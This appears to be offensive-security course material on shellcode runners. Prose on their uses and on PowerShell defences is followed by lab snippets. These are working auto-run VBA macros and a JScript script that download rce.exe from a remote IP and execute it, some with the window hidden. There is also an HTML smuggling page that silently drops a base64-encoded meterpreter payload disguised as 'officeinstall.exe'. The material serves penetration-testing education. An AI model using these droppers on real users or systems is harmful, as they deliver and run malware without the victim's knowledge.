**Unit-3 Execution and Persistence - Shellcode Runners**

**1. Shellcode Runners in Offensive Security**

Shellcode runners, also referred to as payload execution engines, are vital components in offensive security testing. They play a crucial part in the assessment of potential vulnerabilities and the development of strategies to strengthen a system's defenses. In the context of offensive security testing, shellcode runners serve as the means to execute arbitrary code, typically within a targeted system or application. They act as catalysts, facilitating the process of exploiting vulnerabilities in order to gain unauthorized access, escalate privileges, or achieve other objectives that may compromise the security of a system.

The concept of shellcode runners revolves around their ability to interpret and execute a specific set of instructions, known as shellcode or payload. Shellcode is a series of low level, often platform-specific instructions, written in machine code or assembly language. It is designed to be injected into a running process or system, bypassing conventional security measures and granting the attacker control over the targeted system.

Shellcode runners can be developed in a variety of programming languages and integrated into various tools or frameworks. Some popular examples include Metasploit, an open-source penetration testing platform, and custom-made scripts developed by security professionals.

By utilizing shellcode runners in offensive security testing, security researchers and penetration testers can:

1. Identify weaknesses in a system's security by simulating real-world attacks. 2. Develop countermeasures and mitigation strategies by understanding the potential impact of an exploit.

3. Improve the overall security posture of a system by identifying and remediating vulnerabilities before they are exploited by malicious actors.

In summary, shellcode runners are instrumental in offensive security testing, as they enable the execution of shellcode within targeted systems. This allows security professionals to uncover vulnerabilities, simulate potential attacks, and develop effective defenses against real-world threats.

**2. Differences and Similarities among Shellcode Runners**

Shellcode runners, or payload execution engines, exhibit both similarities and differences in their implementation and functionality. VBA Shellcode Runner, PowerShell Shellcode Runner, JScript Payload Execution, DOTNET-TO-JSCRIPT, and C# Shellcode Runner are notable examples, each with distinct characteristics and capabilities.

Despite their differences, all shellcode runners share a common objective: to execute shellcode or payload within a targeted system, bypassing security measures and enabling the attacker to gain control. They are instrumental in offensive security testing, helping security professionals identify vulnerabilities and develop effective countermeasures.

The VBA Shellcode Runner is a tool used to deliver and execute shellcode in Microsoft Office documents using VBA macros. It is specifically designed for Windows environments and is ideal for exploiting vulnerabilities in Microsoft Office applications. The PowerShell Shellcode Runner, on the other hand, is designed to deliver and execute shellcode using PowerShell scripts. It can be used on Windows, Linux, and macOS systems and is ideal for executing commands and performing post-exploitation tasks. JScript Payload Execution is a tool used to deliver and execute shellcode using JScript code. It can be used on Windows and Linux systems and is ideal for exploiting web applications and performing client-side attacks. DOTNET-TO-JSCRIPT is a tool used to convert .NET assemblies into JScript code for delivery and execution on target systems. It is ideal for evading detection by security tools that may be looking for .NET assemblies. Finally, the C# Shellcode Runner is a tool used to deliver and execute shellcode using C# scripts. It is designed for Windows environments and is ideal for executing commands and performing post-exploitation tasks.

It's worth noting that the use of shellcode runners should be done with caution and in compliance with relevant laws and regulations. While they are a valuable tool for offensive security testing, using them in an unauthorized manner can cause damage to systems and networks.

**3. Potential Threats and Difficulties of Usage of Shellcode Runners**

While shellcode runners are valuable tools for security professionals, their usage presents potential threats and difficulties that must be acknowledged and managed. The following are some of the key concerns:

1. Dual-use nature: Shellcode runners can be employed by both security professionals and malicious actors. Cybercriminals can use these tools to exploit vulnerabilities, compromise systems, and conduct illicit activities. This dual-use nature of shellcode runners makes it crucial for developers and users to handle them responsibly and ethically.

2. Evasion techniques: Modern shellcode runners often employ evasion techniques to bypass security measures, such as antivirus software and intrusion detection systems. This can make it difficult for defenders to detect and counter threats effectively. Additionally, as security measures improve, the challenge of creating effective shellcode runners that can bypass these defenses increases.

3. Platform and environment dependencies: Different shellcode runners are designed to work in specific environments and platforms. Security professionals must understand the intricacies of each platform and be knowledgeable about the target environment. This can pose difficulties when dealing with a wide array of systems and applications.

4. Constantly evolving landscape: The cybersecurity landscape is continually changing, with new vulnerabilities and exploits being discovered regularly. As a result, security professionals must constantly update their knowledge and tools to stay ahead of potential threats. Shellcode runners must be frequently updated and adapted to address emerging vulnerabilities.

5. Ethical and legal considerations: Using shellcode runners in offensive security testing often involves penetrating systems and applications to identify vulnerabilities. This raises ethical and legal questions about unauthorized access, data privacy, and

potential collateral damage. Security professionals must ensure that their actions are conducted within the boundaries of the law and adhere to ethical guidelines. 6. False positives and negatives: Shellcode runners may sometimes generate false positives, indicating the presence of a vulnerability when none exists. Conversely, they can also produce false negatives, failing to detect actual vulnerabilities. Security professionals must carefully analyze results to avoid overlooking genuine threats or wasting resources on non-existent issues.

7. Skills and expertise: Effective use of shellcode runners requires a high level of technical skill and expertise. Security professionals must possess a deep understanding of various programming languages, platforms, and operating systems. This can make it difficult for less experienced individuals to use shellcode runners effectively.

In conclusion, while shellcode runners are invaluable tools in offensive security testing, they present potential threats and difficulties that must be managed. Security professionals should be aware of these challenges and act responsibly and ethically while using these tools to safeguard systems and applications against cyber threats.

**4. PowerShell Shellcode Runner**

PowerShell Shellcode Runner is a type of shellcode runner that leverages the PowerShell scripting environment to execute arbitrary code or payloads on a targeted system. PowerShell is a powerful scripting language and task automation framework integrated with Windows operating systems. It provides extensive access to system resources, making it an attractive tool for both security professionals and malicious actors.

A PowerShell Shellcode Runner typically works by loading and executing shellcode directly in memory without writing it to disk. This method is known as fileless or in-memory execution and makes it more challenging for security measures, such as antivirus software, to detect the malicious activity.

Measures for identifying and mitigating PowerShell Shellcode Runner attacks: 1. Monitoring and logging: Enable logging and monitoring of PowerShell activities within your organization. PowerShell has built-in logging capabilities, such as script block logging and transcription, that can help you track suspicious activities and identify potential attacks.

2. Restricting PowerShell execution policy: Configure the PowerShell execution policy to restrict the execution of scripts within your environment. You can set the policy to "AllSigned" or "RemoteSigned" to ensure that only trusted and signed scripts are allowed to run.

3. Application whitelisting: Implement application whitelisting solutions, such as Microsoft's AppLocker or Device Guard, to restrict unauthorized PowerShell scripts from running on your systems.

4. Antivirus and endpoint protection: Keep your antivirus and endpoint protection software up to date with the latest definitions and features. Some modern security solutions are capable of detecting in-memory attacks and can help protect against PowerShell Shellcode Runner attacks.

5. Regularly patch and update systems: Keep your operating systems and applications updated with the latest patches to minimize the attack surface and reduce the likelihood of successful exploitation.

6. Disable PowerShell for non-administrative users: If PowerShell is not required for regular users, consider disabling it or restricting its usage to only administrative accounts. This can help limit the attack surface and reduce the potential impact of an attack.

7. User education and awareness: Train your users to recognize and report suspicious activities, such as phishing attempts and unexpected PowerShell scripts. Educated users can be a valuable line of defense against social engineering and other attack vectors.

8. Network segmentation and access control: Implement network segmentation and access control to restrict lateral movement within your organization. This can help limit the potential impact of a successful PowerShell Shellcode Runner attack.

In summary, a PowerShell Shellcode Runner is a powerful tool that leverages the PowerShell scripting environment to execute payloads on targeted systems. To identify and mitigate such attacks, organizations should implement a combination of monitoring, logging, access control, and user education strategies, along with keeping systems up to date and leveraging modern security solutions.

**Lab Snippets:**

**VBA Macros:**

**1. Message Box Popup**

Sub Doccument\_Open()

MsgBoxDisplay

End Sub

Sub AutoOpen()

MsgBoxDisplay

End Sub

Sub MsgBoxDisplay()

Dim msglong As Long 'Variable Declaration

msglong = 1

If msglong > 5 Then

MsgBox ("True")

Else

For Counter = 1 To 2 ' For loop to print the message box two times

MsgBox (" Macros Executed Successfully")

Next Counter

End If

End Sub

The code snippet is a VBA (Visual Basic for Applications) script designed to run in Microsoft Office applications, such as Word or Excel. The script contains three subroutines: Doccument\_Open(), AutoOpen(), and MsgBoxDisplay().

1. Doccument\_Open(): This subroutine is called automatically when a document containing the macro is opened. It calls the MsgBoxDisplay() subroutine. 2. AutoOpen(): This subroutine is called automatically when a document containing the macro is opened in some older versions of Microsoft Office applications. It also calls the MsgBoxDisplay() subroutine.

3. MsgBoxDisplay(): This subroutine declares a variable named "msglong" as a Long data type and initializes it with the value of 1. It then checks if the value of "msglong" is greater than 5. If it is, a message box with the text "True" is displayed. However, since the value of "msglong" is not greater than 5, the code proceeds to the Else block.

The Else block contains a For loop that iterates twice. During each iteration, a message box with the text "Macros Executed Successfully" is displayed. In this case, the message box will be displayed twice when the MsgBoxDisplay() subroutine is called.

In summary, when a document containing this macro is opened, the script will trigger the MsgBoxDisplay() subroutine, which in turn will display the message box "Macros Executed Successfully" two times.

**2. Open a program in VBA Macros**

Sub AutoOpen()

ExecuteCommand

End Sub

Sub ExecuteCommand()

Dim cmd As String

Dim shell As Object

Set shell = CreateObject("WScript.Shell")

shell.Run "notepad.exe"

Set shell = Nothing

End Sub

The provided VBA (Visual Basic for Applications) script consists of two subroutines: AutoOpen() and ExecuteCommand(). This script is designed to run in Microsoft Office applications, such as Word or Excel.

1. AutoOpen(): This subroutine is called automatically when a document containing the macro is opened in some older versions of Microsoft Office applications. It calls the ExecuteCommand() subroutine.

2. ExecuteCommand(): This subroutine creates an instance of the WScript.Shell object, which enables it to interact with the Windows operating system's shell and execute shell commands. The script then runs the command "notepad.exe" using the Run

method of the WScript.Shell object, which opens the Notepad application. Finally, the script sets the shell object to Nothing, releasing the resources associated with it. In summary, when a document containing this macro is opened in a compatible version of Microsoft Office, the script will trigger the ExecuteCommand() subroutine, which in turn will open the Notepad application.

**3. Reverse Shell with VBA Macros**

Sub AutoOpen()

ExecuteCommand

End Sub

Sub ExecuteCommand()

Dim cmd As String

Dim sobj As Object

Set sobj = CreateObject("WScript.Shell")

sobj.Run "cmd.exe /k wget http://192.168.191.132/rce.exe -O C:\Users\admin\Desktop\Load\rce.exe" Wait (5)

cmd = ActiveDocument.Path + "\rce.exe"

shell cmd, vbNormalFocus 'Execute application

End Sub

Sub Wait(n As Long)

Dim t As Date

t = Now

Do

DoEvents

Loop Until Now >= DateAdd("s", n, t)

End Sub

The provided VBA (Visual Basic for Applications) script consists of three subroutines: AutoOpen(), ExecuteCommand(), and Wait(). This script is designed to run in Microsoft Office applications, such as Word or Excel, and serves as an example of a potentially malicious macro.

1. AutoOpen(): This subroutine is called automatically when a document containing the macro is opened in some older versions of Microsoft Office applications. It calls the ExecuteCommand() subroutine.

2. ExecuteCommand(): This subroutine creates an instance of the WScript.Shell object, which enables it to interact with the Windows operating system's shell and execute shell commands. It then downloads an executable file (rce.exe) from the specified IP address (http://192.168.191.132/rce.exe) using the command "cmd.exe /k wget". The downloaded executable is saved in the "C:\Users\admin\Desktop\Load" folder. After waiting for 5 seconds using the Wait() subroutine, it executes the downloaded file (rce.exe) using the Shell function with vbNormalFocus.

3. Wait(n As Long): This subroutine accepts an argument 'n' representing the number of seconds to wait. It sets a variable 't' equal to the current date and time (Now) and then enters a loop that continually processes events (DoEvents) until the specified number of seconds have elapsed.

In summary, when a document containing this macro is opened in a compatible version of Microsoft Office, the script will trigger the ExecuteCommand() subroutine. The subroutine will download an executable file from a specified IP address and save it to a folder on the user's computer. After waiting for 5 seconds, the script will execute the downloaded file. This type of script can be used for malicious purposes, such as downloading and executing malware on a victim's machine.

**4. Reverse Shell via PowerShell**

Sub AutoOpen()

reversershell

End Sub

Sub reversershell()

' Download the file

Dim cmd As String

cmd = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.191.132/rce.exe', 'rce.exe')"

Shell cmd, vbHide

' Wait for 10 secs

wait (10)

' Execute the file

Dim path As String

path = ActiveDocument.path + "\rce.exe"

Shell path, vbHide

End Sub

Sub wait(n As Long) ' Gets seconds and assign to n

Dim t As Date

t = Now ' Get current date and time

Do

DoEvents

Loop Until Now >= DateAdd("s", n, t) ' adds the 'n' seconds to the current date and wait End Sub

The provided VBA (Visual Basic for Applications) script consists of three subroutines: AutoOpen(), reversershell(), and wait(). This script is designed to run in Microsoft Office

applications, such as Word or Excel, and serves as an example of a potentially malicious macro.

1. AutoOpen(): This subroutine is called automatically when a document containing the macro is opened in some older versions of Microsoft Office applications. It calls the reversershell() subroutine.

2. reversershell(): This subroutine performs two primary actions:

a. Download the file: It creates a command string containing a PowerShell command to download an executable file (rce.exe) from the specified IP address

(http://192.168.191.132/rce.exe) using the WebClient object. The downloaded executable is saved in the same folder as the active document. The Shell function is used to execute the command with vbHide, which runs the command hidden from the user. b. Execute the file: The subroutine waits for 10 seconds using the wait() subroutine before executing the downloaded file (rce.exe). The path to the downloaded file is constructed by concatenating the ActiveDocument's path and the filename. The Shell function is used again to execute the downloaded file with vbHide, which runs the executable hidden from the user.

3. wait(n As Long): This subroutine accepts an argument 'n' representing the number of seconds to wait. It sets a variable 't' equal to the current date and time (Now) and then enters a loop that continually processes events (DoEvents) until the specified number of seconds have elapsed.

In summary, when a document containing this macro is opened in a compatible version of Microsoft Office, the script will trigger the reversershell() subroutine. The subroutine will download an executable file from a specified IP address and save it in the same folder as the active document. After waiting for 10 seconds, the script will execute the downloaded file. This type of script can be used for malicious purposes, such as downloading and executing malware on a victim's machine.

**5. Jscript Reverse Shell**

//Payload URL

var url = "http://192.168.191.132/rce.exe";

//HTTP object for downloading payload

var xmlhttp = WScript.CreateObject('MSXML2.XMLHTTP');

//Open the URL with GET request

xmlhttp.open('GET',url,false); //Open the URL with GET request

xmlhttp.send();

//Check whether the request is completed and response is 200 and save the binary

if (xmlhttp.Status == 200)

{

var Stream = WScript.CreateObject('ADODB.Stream');

Stream.open();

Stream.Type = 1; //binary

Stream.Write(xmlhttp.ResponseBody); //write response body

Stream.Position = 0;

Stream.SaveToFile("rce.exe",2); //save with filename

Stream.Close();

}

//Execute the payload

var res = new ActiveXObject("WScript.Shell").Run("rce.exe")

The provided JScript code is designed to download and execute an executable file (rce.exe) from a specified URL (http://192.168.191.132/rce.exe). This script can be embedded in HTML applications (.hta) or executed using the Windows Script Host (WSH). Here's an explanation of each section of the code:

1. Define the payload URL: The url variable is assigned the URL of the remote executable file (rce.exe).

2. Create an HTTP object: The script creates an XMLHTTP object using 'MSXML2.XMLHTTP', which is used to send HTTP requests and receive HTTP responses.

3. Send the GET request: The script opens the URL with a GET request by calling the open() method of the XMLHTTP object and sends the request using the send() method.

4. Check the response and save the binary: The script checks if the HTTP status code of the response is 200, indicating a successful request. If successful, it creates an ADODB.Stream object to handle the binary data. The response body containing the binary data is written to the stream, and the stream's position is set to 0. The binary data is saved to a file named "rce.exe" using the SaveToFile() method, and the stream is closed.

5. Execute the payload: The script creates a new instance of the WScript.Shell ActiveX object and runs the downloaded executable (rce.exe) using the Run() method. In summary, this JScript code is designed to download an executable file from a specified URL and execute it on the local machine. This type of script can be used for malicious purposes, such as downloading and executing malware on a victim's machine.

**6. HTML Smuggling**

<html>

<body>

<script type="text/javascript">

// Function to decode base64 encoded binary to array buffer as binary

function decodeBase64ToArrayBuffer(base64)

{

var binaryString = window.atob(base64); //decodes base64 strings into binary data var len = binaryString.length; //length of the binary string

var bytes = new Uint8Array(len); //Iterates each character of binary string

for (var i = 0; i < len; i++)

{

bytes[i] = binaryString.charCodeAt(i);

}

return bytes.buffer; //returs the decoded binary

}

// Base64 encoded meterpreter payload

var base64Payload = '<insert base64 encoded meterpreter payload>';

// Save the reverse shell with given filename after base64 decode

var binaryData = decodeBase64ToArrayBuffer(base64Payload);

var newBlob = new Blob([binaryData], {type: 'octet/stream'});

var fileName = 'officeinstall.exe';

// Save the file to disk without prompting

var downloadLink = document.createElement('a'); //The anchor element is used to

trigger a file download.

document.body.appendChild(downloadLink); //appends the <a> element to the document body downloadLink.style = 'display:none'; //ensures that the user is not prompted to click the download link var objectURL = window.URL.createObjectURL(newBlob); //Points the decoded file downloadLink.href = objectURL;

downloadLink.download = fileName; //File name to be used for the download

downloadLink.click(); //Triggers the file download

window.URL.revokeObjectURL(objectURL);

</script>

</body>

</html>

The provided HTML code contains a script that decodes a base64 encoded binary payload, saves it as a file on the user's machine, and triggers a download without user interaction. This code is an example of how an attacker might attempt to deliver a malicious payload (e.g., a reverse shell or a meterpreter payload) via a web page.

Here's an explanation of each part of the script:

1. Function decodeBase64ToArrayBuffer(base64): This function accepts a base64 encoded string as its argument and decodes it into binary data. It creates a Uint8Array and iterates through each character of the binary string, assigning the decoded bytes to the array. It then returns the array buffer containing the decoded binary data.

2. Base64 encoded meterpreter payload: The variable 'base64Payload' should contain a base64 encoded meterpreter payload. This payload is specific to the target machine and should be generated accordingly.

3. Decoding and saving the payload: The script calls the decodeBase64ToArrayBuffer() function with the base64Payload as its argument. It then creates a new Blob object with the decoded binary data and specifies the type as 'octet/stream'. The filename for the downloaded file is set to 'officeinstall.exe'.

4. Saving the file without prompting: The script creates an anchor ('a') element and appends it to the document body, hiding it from the user by setting its 'display' style to 'none'. It then creates an object URL for the Blob object, assigns it to the 'href' attribute of the anchor element, and sets the 'download' attribute to the specified filename. Finally, the script triggers the download by calling the 'click()' method on the anchor element and revokes the object URL.

In summary, the provided HTML code is an example of how a malicious payload can be delivered to a user's machine through a web page. The script decodes a base64 encoded binary payload, saves it as a file, and triggers a download without user interaction. This type of code can be used by attackers to deliver malware to unsuspecting users.